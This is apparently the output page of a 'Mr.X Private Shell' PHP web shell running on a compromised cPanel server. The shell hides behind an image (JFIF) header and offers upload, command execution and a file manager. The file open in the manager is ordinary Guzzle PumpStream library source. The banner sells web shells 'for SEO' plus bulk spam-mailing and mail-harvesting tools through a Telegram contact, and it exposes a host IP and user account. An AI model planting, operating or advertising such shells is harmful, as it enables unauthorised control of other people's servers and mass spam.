����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

antiaginglove@216.73.216.231: ~ $ 
<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Provides a read only stream that pumps data from a PHP callable.
 *
 * When invoking the provided callable, the PumpStream will pass the suggested
 * number of bytes to read to the callable. The callable can choose to ignore
 * this value and return fewer or more bytes than requested. Any extra data
 * returned by the callable is buffered internally until drained using the
 * read() function of the PumpStream. The callable MUST return false or null
 * when there is no more data to read.
 *
 * Userland callables that declare no parameters are tolerated by PHP, but
 * length-aware callables remain the recommended formal shape.
 */
final class PumpStream implements StreamInterface
{
    /** @var callable|null */
    private $source;

    /** @var int|null */
    private $size;

    /** @var int */
    private $tellPos = 0;

    /** @var array */
    private $metadata;

    /** @var BufferStream */
    private $buffer;

    /**
     * @param (callable(): (string|false|null))|(callable(int): (string|false|null)) $source  Source of the stream data. The callable receives
     *                                                                                        the suggested number of bytes to read, may ignore
     *                                                                                        that value, and may return fewer or more bytes.
     *                                                                                        Extra bytes are buffered. The callable MUST return
     *                                                                                        a string when called, or false|null on error or EOF.
     *                                                                                        Userland callables that declare no parameters are
     *                                                                                        tolerated by PHP, but length-aware callables remain
     *                                                                                        the recommended formal shape.
     * @param array{size?: int, metadata?: array}                                    $options Stream options:
     *                                                                                        - metadata: Hash of metadata to use with stream.
     *                                                                                        - size: Size of the stream, if known.
     */
    public function __construct(callable $source, array $options = [])
    {
        $this->source = $source;
        $this->size = $options['size'] ?? null;
        $this->metadata = $options['metadata'] ?? [];
        $this->buffer = new BufferStream();
    }

    public function __toString(): string
    {
        try {
            return Utils::copyToString($this);
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);

            return '';
        }
    }

    public function close(): void
    {
        $this->detach();
    }

    public function detach()
    {
        $this->tellPos = 0;
        $this->source = null;

        return null;
    }

    public function getSize(): ?int
    {
        return $this->size;
    }

    public function tell(): int
    {
        return $this->tellPos;
    }

    public function eof(): bool
    {
        return $this->source === null;
    }

    public function isSeekable(): bool
    {
        return false;
    }

    public function rewind(): void
    {
        $this->seek(0);
    }

    public function seek($offset, $whence = SEEK_SET): void
    {
        if (!\is_int($offset)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing %s to StreamInterface::seek() is deprecated; guzzlehttp/psr7 3.0 requires int for $offset.',
                \get_debug_type($offset)
            );
        }

        if (!\is_int($whence)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing %s to StreamInterface::seek() is deprecated; guzzlehttp/psr7 3.0 requires int for $whence.',
                \get_debug_type($whence)
            );
        }

        throw new \RuntimeException('Cannot seek a PumpStream');
    }

    public function isWritable(): bool
    {
        return false;
    }

    public function write($string): int
    {
        if (!\is_string($string)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing %s to StreamInterface::write() is deprecated; guzzlehttp/psr7 3.0 requires string for $string.',
                \get_debug_type($string)
            );
        }

        throw new \RuntimeException('Cannot write to a PumpStream');
    }

    public function isReadable(): bool
    {
        return true;
    }

    public function read($length): string
    {
        if (!\is_int($length)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing %s to StreamInterface::read() is deprecated; guzzlehttp/psr7 3.0 requires int for $length.',
                \get_debug_type($length)
            );
        }

        $data = $this->buffer->read($length);
        $readLen = strlen($data);
        $this->tellPos += $readLen;
        $remaining = $length - $readLen;

        if ($remaining) {
            $this->pump($remaining);
            $data .= $this->buffer->read($remaining);
            $this->tellPos += strlen($data) - $readLen;
        }

        return $data;
    }

    public function getContents(): string
    {
        $result = '';
        while (!$this->eof()) {
            $result .= $this->read(1000000);
        }

        return $result;
    }

    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if ($key !== null && !\is_string($key)) {
            \trigger_deprecation(
                'guzzlehttp/psr7',
                '2.11',
                'Passing %s to StreamInterface::getMetadata() is deprecated; guzzlehttp/psr7 3.0 requires string|null for $key.',
                \get_debug_type($key)
            );
        }

        if (!$key) {
            return $this->metadata;
        }

        return $this->metadata[$key] ?? null;
    }

    private function pump(int $length): void
    {
        if ($this->source !== null) {
            do {
                $data = ($this->source)($length);
                if ($data === false || $data === null) {
                    $this->source = null;

                    return;
                }
                $this->buffer->write($data);
                $length -= strlen($data);
            } while ($length > 0);
        }
    }
}

Filemanager

DIR : / opt/ cpanel/ ea-wappspector/ vendor/ guzzlehttp/ psr7/ src/
Name Type Size Permission Actions
Exception Folder 0755
AppendStream.php File 7.43 KB 0644
BufferStream.php File 4.69 KB 0644
CachingStream.php File 6.74 KB 0644
DroppingStream.php File 1.48 KB 0644
FnStream.php File 5.76 KB 0644
Header.php File 4.77 KB 0644
HttpFactory.php File 3 KB 0644
InflateStream.php File 1.38 KB 0644
LazyOpenStream.php File 1.06 KB 0644
LimitStream.php File 5.11 KB 0644
Message.php File 10.1 KB 0644
MessageTrait.php File 9.81 KB 0644
MimeType.php File 55.82 KB 0644
MultipartStream.php File 9.85 KB 0644
NoSeekStream.php File 1.12 KB 0644
PumpStream.php File 6.88 KB 0644
Query.php File 3.95 KB 0644
Request.php File 4.79 KB 0644
Response.php File 5.49 KB 0644
Rfc3986.php File 490 B 0644
Rfc7230.php File 3 KB 0644
ServerRequest.php File 13.2 KB 0644
Stream.php File 8.76 KB 0644
StreamDecoratorTrait.php File 4.79 KB 0644
StreamWrapper.php File 4.68 KB 0644
UploadedFile.php File 4.98 KB 0644
Uri.php File 23.44 KB 0644
UriComparator.php File 1.24 KB 0644
UriNormalizer.php File 8.91 KB 0644
UriResolver.php File 8.15 KB 0644
Utils.php File 21.66 KB 0644